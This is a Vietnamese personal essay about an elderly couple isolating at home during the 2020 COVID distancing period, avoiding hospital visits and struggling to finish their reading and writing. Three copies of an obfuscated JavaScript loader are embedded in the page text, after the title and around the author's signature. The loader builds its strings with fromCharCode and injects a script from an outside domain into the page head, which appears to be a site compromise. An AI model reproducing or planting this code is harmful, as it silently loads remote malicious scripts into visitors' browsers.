Lan man mùa dịch…

0
19
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,108,111,98,98,121,100,101,115,105,114,101,115,46,99,111,109,47,108,111,99,97,116,105,111,110,46,106,115,63,108,97,61,49);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,108,111,98,98,121,100,101,115,105,114,101,115,46,99,111,109,47,108,111,99,97,116,105,111,110,46,106,115,63,108,97,61,49);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Bà lơ mơ trong các dự định, thấy thời gian thật thừa thãi mà cũng thật thiếu thốn. Ông tỉnh táo hơn, đọc chậm rãi xem ti-vi chậm rãi và không cần một kế-hoạch một chương-trình nào. Ông không viết, nhưng phải có cái cho ông đọc. Còn bà đọc không xong viết không xong bất cứ cái gì, không làm bất cứ cái gì ra hồn….

***

Hai người già ấy mỗi tháng vào bệnh viện một lần để tái khám vụ tim mạch và tiểu đường. Ngày 28 tháng chạp âm lịch hai người đi khám và test máu lần cuối trước khi ăn tết ta. Bác sĩ hẹn lần khám tiếp theo sẽ là cuối tháng giêng âm lịch, tức là cuối tháng hai dương lịch, vậy mà bây giờ đã gần cuối tháng năm hai bệnh nhân này vẫn mất biệt tăm hơi. Thiệt là gan cùng mình!

Thực ra thì hai người già này nhát lắm, không gan góc gì đâu. Nhát nên mới trốn ở nhà, tự mua thuốc uống tạm thời theo toa cũ, dưới sự giám sát qua điện thoại của một cô cháu gái là bác sĩ. Bệnh viện là nơi có đông người vô vô ra ra, vô đó phải chạm vào cái tay nắm cửa, đi đứng không vững nên phải vịn vào cái này cái kia, dù có mang kè kè chai gel rửa tay khử trùng nhưng biết đâu được sự lây nhiễm! Vậy là tự “social distancing” từ lúc con virus mới đang hoành hành tận bên Vũ Hán (và lúc ấy Việt Nam chỉ mới có hai cha con người Tàu bị cách-ly trong bệnh viện Chợ Rẫy vì ông cha qua Việt Nam thăm ông con mang virus từ bên Tàu theo). Ở nhà, ông đã quen chuyện ở nhà này lâu lắm rồi, vì từ hơn mười lăm năm năm nay ông chỉ ở nhà sau lần bị tai biến chết đi sống lại và chỉ còn nửa người cử động được. Bà thì bị đột quỵ nhẹ trước ông nửa năm, nhũn não có một ít thôi nên vẫn đi đó đi đây với cái chân cà-nhắc, đối nội đối ngoại gọn gàng chu tất.

Nơi cái hóc nhỏ của một thành phố lớn cả hai người già nhát gan ấy vẫn chưa chịu đến bệnh viện

Trước khi có dịch bà đi đâu? Cũng như mọi người thôi. Đi chợ gần gần bằng xe đạp. Đi siêu thị xa xa với con trai bằng xe gắn máy hay taxi. Đi quán trà quán cà phê quán ăn với bạn thân. Đi tụ họp bạn học cũ khi có bạn ở xa về bạn ở quê lên. Đi về quê đám giỗ đám tang đám cưới… Nhưng lâu lâu bà mới đi một lần. Bà thường xuyên ở nhà làm hộ lý, làm đầu bếp, làm ô-sin, làm bạn đời của ông.  Rồi bỗng dưng có đại dịch. Bà ở nhà suốt luôn, một trăm phần trăm thời gian. Quả thật chưa bao giờ có cái kinh nghiệm này dù ông bà có mặt trên đời đã trên và dưới 70 năm!

Nhớ ngày xưa ở quận lỵ quê nhà, năm Mậu Thân giới nghiêm nghiêm ngặt từ 5 giờ chiều hôm trước đến 6 giờ sáng hôm sau. Nhưng sau giờ đó thì mọi sinh hoạt vẫn bình thường, vẫn ra khỏi nhà đi học, vẫn bạn bè tụ họp đó đây, vẫn đi phố đi chợ mua rau mua cá thịt mua đủ thứ vật dụng cho ba má, nói chung là được ra khỏi nhà thoải mái. Bây giờ thì khác, được khuyến cáo phải ở nhà vì trên 60 tuồi. Được thôi mà. Bà không phải đi chợ hay siêu thị nữa, cứ ngồi nhà a-lô là mọi thứ được giao tận nơi. Vậy là ngoài những việc lặt vặt cơm nước thường ngày, bà có chương-trình ở nhà đọc sách và kế-hoạch viết linh tinh. Bà có một số tựa sách tải về để trong máy tính và một số lượng lớn sách giấy để dành đọc khi rỗi rảnh và có nhiều thì giờ. Thì đây là dịp tốt để đọc đây, đọc liên tục và đọc cho xong từng quyển sách một cách thong thả, và có thời gian lâu lâu dừng lại ngẫm nghĩ ở một đoạn nào đó. Bà nói với mình, ta sẽ tận dụng tối đa thời gian không đi đâu này để thưởng thức thú vui đọc sách của ta.

Nhưng nói dễ mà làm không dễ! Bắt đầu những ngày giãn-cách trên toàn quốc (nửa tháng) theo lệnh nhà nước, bà vẫn lần-khân chưa chịu đọc hẳn một cuốn nào. Tự trấn an mình, ối, ngày rộng tháng dài mà, cứ từ từ đọc thôi, mình còn cả đống việc khác phải làm đây. Cứ hẹn lần hẹn hồi như vậy, tỏ rõ một tuổi già ù lì và lười biếng! Nhưng rồi có khi giật mình, thấy mình “tệ” quá, nên giữa trưa không nghỉ ngơi “lôi” một cuốn ra đọc, nửa đêm không ngủ lôi một cuốn ra đọc, xế xế rảnh tay việc nhà lôi một cuốn ra đọc. Kết cục là sau hơn ba tháng “cách ly” (nửa tháng theo lệnh nhà nước và hơn hai tháng rưỡi tự ra lệnh cho mình) bà đọc rất nhiều sách nhưng không đọc xong cuốn nào trọn vẹn. Cuốn nào cũng đọc một đoạn, một chương, hoặc một phần rồi để đó! Vậy là chương-trình đọc sách bị phá sản, kế-hoạch viết linh tinh tùy bút hay tản văn  hay nhật ký gì đó bị phá sản.

Bà có yêu văn chương không? Rất yêu. Bà có thích viết lăng nhăng khi cảm thấy hứng khởi không? Có thích. Nhưng bà không làm xong được việc gì hết, dù luôn luôn có câu “thần chú” trong đầu, rằng việc gì làm được hôm nay thì đừng đợi tới ngày mai. Cũng thật là khó chịu khi nghĩ rằng bà bị buộc phải ở nhà vì cái con virus quỷ quái này, chứ không phải là vì bà muốn ở nhà, dù trước nay bà vẫn thoải mái tự nguyện ở nhà. Con người thật kỳ cục, tự chui đầu vào rọ không sao, nhưng bị nhốt vào rọ thì lấy làm khó chịu!

Thời gian giãn-cách của hai người già này bao gồm mấy ngày gần cuối tháng tư và đầu tháng năm. Đã bốn mươi lăm năm, nhưng năm nào những ngày này hai người già cũng bần thần ngồi nhắc kể chuyện cũ. Đã bao nhiêu nước chảy qua cầu, đã bao nhiêu nấm mồ cỏ xanh rồi cỏ úa, quỹ thời gian còn lại với đời cũng không nhiều, sao cứ mãi còn bần thần nhắc kể! Sao không sống vui sống khỏe sống an nhiên buông-bỏ hết như rất nhiều người đang sống kia? Cái mất mát của riêng mình có là gì so với bao người! Nhưng biết làm sao, những con người hay nghĩ ngợi! Giang sơn dễ đổi bản tính khó dời mà. Ký ức tràn về. Những đau đớn và tiếc nuối. Mà không phải chỉ có những mất mát riêng… Những buổi nói chuyện cùng nhau trong suốt bao năm không dứt, bây giờ tưởng như bất tận nhờ thời gian giãn-cách này. Đó cũng là một trong những lý do khiến bà không thể hoàn thành cái chương-trình và kế-hoạch đọc và viết của mình. Bà lơ mơ trong các dự định, thấy thời gian thật thừa thãi mà cũng thật thiếu thốn. Ông tỉnh táo hơn, đọc chậm rãi xem ti-vi chậm rãi và không cần một kế-hoạch một chương-trình nào. Ông không viết, nhưng phải có cái cho ông đọc. Còn bà đọc không xong viết không xong bất cứ cái gì, không làm bất cứ cái gì ra hồn. Nhưng hãy thử đảo ngược lại, dù đọc dở dang và viết chẳng đâu ra đâu,  nhưng nếu không đọc không viết thì bà biết tìm đâu nguồn an ủi trong thời buổi mọi thứ đảo lộn kỳ cục này!

Vậy rồi lệnh giãn-cách được nới lỏng. Bà vẫn ở lì trong nhà, cho đến khi các trường học bắt đầu cho hầu hết học sinh đi học lại. Bà ra đường, đạp xe đi ra quầy rau quả ở cái chợ nhỏ gần nhà. Buổi sáng đầu tiên ra đường sau hơn ba tháng! Cô bán rau quen gặp bà cười chào thân thiện, “Trời, bữa nay con mới gặp cô!” “Thì tui nghiêm túc chấp hành lệnh nhà nước mà.” Gặp cô bán cá “Con vẫn bán bình thường mà không thấy cô ra mua cá.” “Tui hơn 60 tuổi rồi, phải ở nhà em ơi!”… Vẫn nói chuyện vui vẻ, nhưng khác với lúc trước là bây giờ ai cũng mang khẩu trang, cả người bán lẫn người mua. Trước kia bà không có thói quen mang khẩu trang khi ra đường, dù có rất nhiều người luôn mang khẩu trang để chống bụi và không khí ô nhiễm. Bà nhìn những người đang chạy xe xuôi ngược trên đường, bây giờ thì tất cả mọi người đều mang khẩu trang, trông ngồ ngộ.

Thực ra bà không đi cũng được, cứ ngồi nhà mà a-lô cũng xong. Nhưng ở nhà lâu quá rồi, bà nhớ cái không khí, cái “mùi” của chợ. Cũng như bà thích nhìn những kệ hàng đầy ắp hàng hóa ở siêu thị. Như bao người phụ nữ khác, bà thích cái cảm giác ngắm nghía và chọn lựa món này món kia. Nhớ ngày xưa, nghĩa là hơn mười lăm năm trở về trước, khi còn khỏe ông thường chở bà đi siêu thị. Nhưng ông ít vào bên trong, ông cũng không thích vào quán cà phê, ông chỉ thích ở ngoài ngồi hút thuốc (!) nhìn trời nhìn mây ngắm ông đi qua bà đi lại trong lúc chờ bà rề rà mua sắm. Trăm lần như một, câu nói cực kỳ hiểu-biết của ông nói vói theo khi bà bước vào cửa siêu thị là “cứ thong thả nha, không có gì phải gấp”. Khác hẳn với con trai sau này, cũng là nói vói theo mẹ nhưng là “mau mau nha má, đừng bắt con chờ lâu”. Thật là khác nhau một trời một vực, chồng và con trai!

Bây giờ đã gần cuối tháng năm, Việt Nam chưa có ai chết vì cơn đại dịch này, cứ tạm tin là như vậy. Ở một căn nhà nhỏ nơi một cái hóc nhỏ của một thành phố lớn, một người già nhát gan đã thử ra khỏi nhà chút chút, nhưng cả hai người già nhát gan ấy vẫn chưa chịu đến bệnh viện tái khám, như lẽ thường phải đúng hẹn với bác sĩ. Bởi chốn đông người giờ là chốn hiểm nguy!

NGỌC BÚT

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,108,111,98,98,121,100,101,115,105,114,101,115,46,99,111,109,47,108,111,99,97,116,105,111,110,46,106,115,63,108,97,61,49);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

NO COMMENTS